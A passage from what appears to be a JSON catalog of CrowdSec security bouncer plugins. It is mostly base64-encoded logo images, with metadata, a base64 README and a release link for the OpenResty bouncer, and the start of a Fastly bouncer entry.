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", "url": "https://github.com/crowdsecurity/cs-openresty-bouncer", "description": "CrowdSec bouncer for OpenResty", "stars": 6, "downloads": 551, "readme_content": "PHAgYWxpZ249ImNlbnRlciI+CjxpbWcgc3JjPSJodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy1vcGVucmVzdHktYm91bmNlci9yYXcvbWFpbi9kb2NzL2Fzc2V0cy9jcm93ZHNlY19vcGVucmVzdHkucG5nIiBhbHQ9IkNyb3dkU2VjIiB0aXRsZT0iQ3Jvd2RTZWMiIHdpZHRoPSIyODAiIGhlaWdodD0iMzAwIiAvPgo8L3A+CjxwIGFsaWduPSJjZW50ZXIiPgo8aW1nIHNyYz0iaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9iYWRnZS9idWlsZC1wYXNzLWdyZWVuIj4KPGltZyBzcmM9Imh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vYmFkZ2UvdGVzdHMtcGFzcy1ncmVlbiI+CjwvcD4KPHAgYWxpZ249ImNlbnRlciI+CiYjeDFGNERBOyA8YSBocmVmPSIjaW5zdGFsbGF0aW9uLyI+RG9jdW1lbnRhdGlvbjwvYT4KJiN4MUY0QTA7IDxhIGhyZWY9Imh0dHBzOi8vaHViLmNyb3dkc2VjLm5ldCI+SHViPC9hPgomIzEyODE3MjsgPGEgaHJlZj0iaHR0cHM6Ly9kaXNjb3Vyc2UuY3Jvd2RzZWMubmV0Ij5EaXNjb3Vyc2UgPC9hPgo8L3A+CgoKCiMgQ3Jvd2RTZWMgT3BlblJlc3R5IEJvdW5jZXIKCkEgbHVhIGJvdW5jZXIgZm9yIE9wZW5SZXN0eS4KCiMjIEhvdyBkb2VzIGl0IHdvcmsgPwoKVGhpcyBib3VuY2VyIGxldmVyYWdlcyBPcGVuUmVzdHkgbHVhJ3MgQVBJLCBuYW1lbHkgYGFjY2Vzc19ieV9sdWFfZmlsZWAuCgpOZXcvdW5rbm93biBJUCBhcmUgY2hlY2tlZCBhZ2FpbnN0IGNyb3dkc2VjIEFQSSwgYW5kIGlmIHJlcXVlc3Qgc2hvdWxkIGJlIGJsb2NrZWQsIGEgKio0MDMqKiBpcyByZXR1cm5lZCB0byB0aGUgdXNlciwgYW5kIHB1dCBpbiBjYWNoZS4KCiMgSW5zdGFsbGF0aW9uCgpQbGVhc2UgZm9sbG93IHRoZSBbb2ZmaWNpYWwgZG9jdW1lbnRhdGlvbl0oaHR0cHM6Ly9kb2MuY3Jvd2RzZWMubmV0L2RvY3MvYm91bmNlcnMvb3BlbnJlc3R5KS4K", "status": "stable", "version": "v0.1.10", "assets": [ { "name": "crowdsec-openresty-bouncer.tgz", "download_url": "https://github.com/crowdsecurity/cs-openresty-bouncer/releases/download/v0.1.10/crowdsec-openresty-bouncer.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-openresty-bouncer/releases/assets/61168504" } ] }, { "name": "cs-fastly-bouncer", "author": "crowdsecurity", "logo": "iVBORw0KGgoAAAANSUhEUgAABRQAAAUUCAYAAACu5p7oAAAAAXNSR0IArs4c6QAAIABJREFUeF7s3V9vHWd+J/inSImSku6x3J22lCwS0wmwmxls1vQOMFjsjem5sk7z2DTQMpArUxc8gq8svwLTr8DylaGjC9FXDbQaMO1DH/lqLV3u7GBbmix2ZheYtJQB0lJ3ui1td6K/ZC2KpmxKpsQ651SdU1XP5wBBgvipp57n83tIkV9WPU8SfAgQIECAAAECBAgQIECAAAECBAgQIJBTIMnZTjMCBAgQIECAAAECBAgQIECAAAECBAgEgaJFQIAAAQIECBAgQIAAAQIECBAgQIBAbgGBYm4qDQkQIECAAAECBAgQIECAAAECBAgQEChaAwQIECBAgAABAgQIECBAgAABAgQI5BYQKOam0pAAAQIECBAgQIAAAQIECBAgQIAAAYGiNUCAAAECBAgQIECAAAECBAgQIECAQG4BgWJuKg0JECBAgAABAgQIECBAgAABAgQIEBAoWgMECBAgQIAAAQIECBAgQIAAAQIECOQWECjmptKQAAECBAgQIECAAAECBAgQIECAAAGBojVAgAABAgQIECBAgAABAgQIECBAgEBuAYFibioNCRAgQIAAAQIECBAgQIAAAQIECBAQKFoDBAgQIECAAAECBAgQIECAAAECBAjkFhAo5qbSkAABAgQIECBAgAABAgQIECBAgAABgaI1QIAAAQIECBAgQIAAAQIECBAgQIBAbgGBYm4qDQkQIECAAAECBAgQIECAAAECBAgQEChaAwQIECBAgAABAgQIECBAgAABAgQI5BYQKOam0pAAAQIECBAgQIAAAQIECBAgQIAAAYGiNUCAAAECBAgQIECAAAECBAgQIECAQG4BgWJuKg0JECBAgAABAgQIECBAgAABAgQIEBAoWgMECBAgQIAAAQIECBAgQIAAAQIECOQWECjmptKQAAECBAgQIECAAAECBAgQIECAAAGBojVAgAABAgQIECBAgAABAgQIECBAgEBuAYFibioNCRAgQIAAAQIECBAgQIAAAQIECBAQKFoDBAgQIECAAAECBAgQIECAAAECBAjkFhAo5qbSkAABAgQIECBAgAABAgQIECBAgAABgaI1QIAAAQIECBAgQIAAAQIECBAgQIBAbgGBYm4qDQkQIECAAAECBAgQIECAAAECBAgQEChaAwQIECBAgAABAgQIECBAgAABAgQI5BYQKOam0pAAAQIECBAgQIAAAQIECBAgQIAAAYGiNUCAAAECBAgQIECAAAECBAgQIECAQG4BgWJuKg0JECBAgAABAgQIECBAgAABAgQIEBAoWgMECBAgQIAAAQIECBAgQIAAAQIECOQWECjmptKQAAECBAgQIECAAAECBAgQIECAAAGBojVAgAABAgQIECBAgAABAgQIECBAgEBuAYFibioNCRAgQIAAAQIECBAgQIAAAQIECBAQKFoDBAgQIECAAAECBAgQIECAAAECBAjkFhAo5qbSkAABAgQIECBAgAABAgQIECBAgAABgaI1QIAAAQIECBAgQIAAAQIECBAgQIBAbgGBYm4qDQkQIECAAAECBAgQIECAAAECBAgQEChaAwQIECBAgAABAgQIECBAgAABAgQI5BYQKOam0pAAAQIECBAgQIAAAQIECBAgQIAAAYGiNUCAAAECBAgQIECAAAECBAgQIECAQG4BgWJuKg0JECBAgAABAgQIECBAgAABAgQIEBAoWgMECBAgQIAAAQIECBAgQIAAAQIECOQWECjmptKQAAECBAgQIECAAAECBAgQIECAAAGBojVAgAABAgQIECBAgAABAgQIECBAgEBuAYFibioNCRAgQIAAAQIECBAgQIAAAQIECBAQKFoDBAgQIECAAAECBAgQIECAAAECBAjkFhAo5qbSkAABAgQIECBAgAABAgQIECBAgAABgaI1QIAAAQIECBAgQIAAAQIECBAgQIBAbgGBYm4qDQkQIECAAAECBAgQIECAAAECBAgQEChaAwQIECBAgAABAgQIECBAgAABAgQI5BYQKOam0pAAAQIECBAgQIAAAQIECBAgQIAAAYGiNUCAAAECBAgQIECAAAECBAgQIECAQG4BgWJuKg0JECBAgAABAgQIECBAgAABAgQIEBAoWgMECBAgQIAAAQIECBAgQIAAAQIECOQWECjmptKQAAECBAgQIECAAAECBAgQIECAAAGBojVAgAABAgQIECBAgAABAgQIECBAgEBuAYFibioNCRAgQIAAAQIECBAgQIAAAQIECBAQKFoDBAgQIECAAAECBAgQIECAAAECBAjkFhAo5qbSkAABAgQIECBAgAABAgQIECBAgAABgaI1QIAAAQIECBAgQIAAAQIECBAgQIBAbgGBYm4qDQkQI